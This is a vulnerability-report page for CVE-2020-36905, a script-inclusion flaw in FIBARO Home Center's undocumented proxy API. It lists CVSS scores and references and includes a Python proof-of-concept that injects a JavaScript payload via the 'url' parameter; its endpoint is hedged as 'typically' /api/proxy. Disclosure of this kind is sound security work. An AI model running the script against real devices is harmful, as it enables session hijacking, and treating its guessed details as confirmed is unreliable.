Security Vulnerability Report
中文
CVE-2020-36905 CVSS 7.5 HIGH

CVE-2020-36905

Published: 2026-01-06 16:15:45
Last Modified: 2026-04-15 00:35:42

Description

FIBARO System Home Center 5.021 contains a remote file inclusion vulnerability in the undocumented proxy API that allows attackers to include arbitrary client-side scripts. Attackers can exploit the 'url' GET parameter to inject malicious JavaScript and potentially hijack user sessions or manipulate page content.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

FIBARO Home Center 5.021

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2020-36905 PoC - FIBARO Home Center XSS via Undocumented Proxy API # Target: FIBARO Home Center with proxy API endpoint def exploit_cve_2020_36905(target_url, payload): """ Exploit for CVE-2020-36905: Unauthenticated XSS via proxy API url parameter Args: target_url: Base URL of FIBARO Home Center (e.g., http://192.168.1.100) payload: Malicious JavaScript payload to inject Returns: bool: True if request successful, False otherwise """ # Encode the payload for URL injection encoded_payload = requests.utils.quote(payload) # Construct the malicious URL targeting the undocumented proxy API # The vulnerable endpoint is typically: /api/proxy?url=<malicious_url> exploit_url = f"{target_url}/api/proxy?url={encoded_payload}" try: # Send the exploit request (no authentication required) response = requests.get(exploit_url, timeout=10) print(f"[+] Request sent to: {exploit_url}") print(f"[+] Status code: {response.status_code}") if response.status_code == 200: print("[+] Exploit request successful - XSS payload delivered") return True else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False # Example usage with basic XSS payload if __name__ == "__main__": target = "http://192.168.1.100" # Basic XSS payload to steal cookies xss_payload = "javascript:alert(document.cookie)" print("CVE-2020-36905 Exploit Test") print("=" * 50) exploit_cve_2020_36905(target, xss_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36905", "sourceIdentifier": "[email protected]", "published": "2026-01-06T16:15:45.283", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FIBARO System Home Center 5.021 contains a remote file inclusion vulnerability in the undocumented proxy API that allows attackers to include arbitrary client-side scripts. Attackers can exploit the 'url' GET parameter to inject malicious JavaScript and potentially hijack user sessions or manipulate page content."}, {"lang": "es", "value": "FIBARO System Home Center 5.021 contiene una vulnerabilidad de inclusión remota de ficheros en la API de proxy no documentada que permite a los atacantes incluir scripts arbitrarios del lado del cliente. Los atacantes pueden explotar el parámetro GET 'url' para inyectar JavaScript malicioso y potencialmente secuestrar sesiones de usuario o manipular el contenido de la página."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-829"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2020030140", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/178269", "source": "[email protected]"}, {"url": "https://packetstorm.news/files/id/156869", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/48240", "source": "[email protected]"}, {"url": "https://www.fibaro.com", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/fibaro-system-home-center-remote-file-inclusion-via-proxy-api", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5563.php", "source": "[email protected]"}]}}